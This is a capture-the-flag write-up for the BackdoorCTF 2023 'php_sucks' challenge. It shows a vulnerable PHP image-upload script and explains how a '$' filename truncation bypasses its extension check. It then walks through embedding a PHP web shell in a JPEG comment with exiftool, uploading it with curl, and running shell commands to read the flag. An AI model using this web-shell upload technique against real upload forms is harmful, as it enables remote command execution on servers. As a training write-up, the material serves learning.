2023 BackdoorCTF - php_sucks
Overview
- 124 solves / 419 points
- Author: j4ck4l
Description
I hate PHP, and I know you hate PHP too. So, to irritate you, here is your PHP webapp. Go play with it http://35.222.114.240:8002/chal/upload.php
Attached
(use https://webformatter.com/php to format php code.)
This is upload.php
backend file
<?php
$allowedExtensions = ['jpg', 'jpeg', 'png'];
$errorMsg = '';
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['file']) && isset($_POST['name'])) {
$userName = $_POST['name'];
$uploadDir = 'uploaded/' . generateHashedDirectory($userName) . '/';
if (!is_dir($uploadDir)) {
mkdir($uploadDir, 0750, true);
}
$uploadedFile = $_FILES['file'];
$fileName = $uploadedFile['name'];
$fileTmpName = $uploadedFile['tmp_name'];
$fileError = $uploadedFile['error'];
$fileSize = $uploadedFile['size'];
$fileExt = strtolower(pathinfo($fileName, PATHINFO_EXTENSION));
if (in_array($fileExt, $allowedExtensions) && $fileSize < 200000) {
$fileName = urldecode($fileName);
$fileInfo = finfo_open(FILEINFO_MIME_TYPE);
$fileMimeType = finfo_file($fileInfo, $fileTmpName);
finfo_close($fileInfo);
$allowedMimeTypes = ['image/jpeg', 'image/jpg', 'image/png'];
$fileName = strtok($fileName, chr(7841151584512418084));
if (in_array($fileMimeType, $allowedMimeTypes)) {
if ($fileError === UPLOAD_ERR_OK) {
if (move_uploaded_file($fileTmpName, $uploadDir . $fileName)) {
chmod($uploadDir . $fileName, 0440);
echo "File uploaded successfully. <a href='$uploadDir$fileName' target='_blank'>Open File</a>";
} else {
$errorMsg = "Error moving the uploaded file.";
}
} else {
$errorMsg = "File upload failed with error code: $fileError";
}
} else {
$errorMsg = "Don't try to fool me, this is not a png file";
}
} else {
$errorMsg = "File size should be less than 200KB, and only png, jpeg, and jpg are allowed";
}
}
function generateHashedDirectory($userName)
{
$randomSalt = bin2hex(random_bytes(16));
$hashedDirectory = hash('sha256', $userName . $randomSalt);
return $hashedDirectory;
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>php_php_everywhere</title>
<style>
body {
font-family: Arial, sans-serif;
background-color: #f4f4f4;
margin: 0;
padding: 0;
display: block;
justify-content: center;
align-items: center;
}
.main_block {
display: flex;
align-items: center;
justify-content: center;
}
.form {
background-color: #fff;
border-radius: 8px;
box-shadow: 0 0 10px rgba(0, 0, 0, 0.1);
padding: 20px;
max-width: 400px;
width: 100%;
box-sizing: border-box;
}
label {
display: block;
margin-bottom: 8px;
}
input {
width: 100%;
padding: 8px;
margin-bottom: 16px;
box-sizing: border-box;
border: 1px solid #ccc;
border-radius: 4px;
}
button {
background-color: #4caf50;
color: #fff;
padding: 10px;
border: none;
border-radius: 4px;
cursor: pointer;
}
button:hover {
background-color: #45a049;
}
a {
color: #1e90ff;
text-decoration: none;
margin-top: 10px;
display: block;
align-items:center
}
.error-message {
color: #ff0000;
font-weight: bold;
margin-bottom: 10px;
display: block;
}
</style>
</head>
<body>
<div>
<?php if(!empty($errorMsg)):?>
<p class="error-message"><?php echo $errorMsg;?></p>
<?php endif;?>
</div>
<div class="main_block">
<form class="form" action="" method="post" enctype="multipart/form-data">
<label for="name">Your Name:</label>
<input type="text" name="name" id="name" required>
<label for="file">Choose a file:</label>
<input type="file" name="file" id="file" accept=".jpg, .jpeg, .png" required>
<button type="submit" name="submit">Upload</button>
</form>
</div>
</body>
</html>
Analyzation
This challenge allows users to upload an image. But we do not want to upload an image only, right?
After the file is uploaded, it must pass several conditions before being written to a disk:
- Check path info
$allowedExtensions = ['jpg', 'jpeg', 'png'];
$fileExt = strtolower(pathinfo($fileName, PATHINFO_EXTENSION));
in_array($fileExt, $allowedExtensions)
So the filename must end with .jpg
, .jpeg
or .png
to pass this filter.
- Check
$fileSize
$fileSize = $uploadedFile['size'];
$fileSize < 200000
- Check file MIME type (see finfo_file() for more information)
$fileInfo = finfo_open(FILEINFO_MIME_TYPE);
$fileMimeType = finfo_file($fileInfo, $fileTmpName);
finfo_close($fileInfo);
$allowedMimeTypes = ['image/jpeg', 'image/jpg', 'image/png'];
in_array($fileMimeType, $allowedMimeTypes)
- Create random directory to upload file
$uploadDir = 'uploaded/' . generateHashedDirectory($userName) . '/';
- Replace
$fileName
to a substring until the character7841151584512418084
.
$fileName = strtok($fileName, chr(7841151584512418084));
- Upload file an print the file path
if (move_uploaded_file($fileTmpName, $uploadDir . $fileName)) {
chmod($uploadDir . $fileName, 0440);
echo "File uploaded successfully. <a href='$uploadDir$fileName' target='_blank'>Open File</a>";
}
Vulnerable
The php script can be injected into a normal image and uploaded. The file’s content is not checked whether it contains php code.
The weird line $fileName = strtok($fileName, chr(7841151584512418084));
makes it easier to upload php code! chr(7841151584512418084)
is $
, so if a file named a.php$.jpg
is uploaded, it will be named a.php
.
Exploitation
Firstly, create an image, for example, monkey.jpg
. It is a normal image.
Then inject a php code into image by exiftool
exiftool -comment='<?php echo shell_exec($_GET["c"]); ?>' monkey.jpg
Note: $_GET["c"]
, not $_GET['c']
!
Then rename a file
mv monkey.jpg monkey.php$.jpg
Upload file
curl -X POST -i -F "file=@monkey.php$.jpg" -F "name=hello" -i http://35.222.114.240:8002/chal/upload.php | grep href
File uploaded successfully. <a href='uploaded/40bb9a2089b6040bd97aa81bedf9dc759cbb64d842b14457d3ee014888d076b0/monkey.php' target='_blank'>Open File</a>
The flag is at /var/www/html/chal/REDACTED.txt
, and the uploaded file is at /var/www/html/chal/uploaded/generateHashedDirectory($userName)/myname.php
, so we need to travel back twice to read flag.
curl -i http://35.222.114.240:8002/chal/uploaded/40bb9a2089b6040bd97aa81bedf9dc759cbb64d842b14457d3ee014888d076b0/monkey.php?c=cd+../../\;+ls+-la --output output.txt
There it is
drwxr-x--- 1 root ctf-player 4096 Dec 16 10:49 .
drwxrwxrwx 1 www-data www-data 4096 Dec 17 21:29 ..
-rwxr-x--- 1 root ctf-player 69 Dec 16 10:36 s0_7h15_15_7h3_fl496_y0u_ar3_54rch1n9_f0r.txt
-rwxr-x--- 1 root ctf-player 3939 Dec 16 10:36 upload.php
drwxrwxrwx 1 root ctf-player 3551232 Dec 22 15:42 uploaded
Let’s get the flag
curl -i http://35.222.114.240:8002/chal/uploaded/40bb9a2089b6040bd97aa81bedf9dc759cbb64d842b14457d3ee014888d076b0/monkey.php?c=cd+../../\;+cat+s0_7h15_15_7h3_fl496_y0u_ar3_54rch1n9_f0r.txt
The flag is
flag{n0t_3v3ry_t1m3_y0u_w1ll_s33_nu11byt3_vuln3r4b1l1ty_0sdfdgh554fd}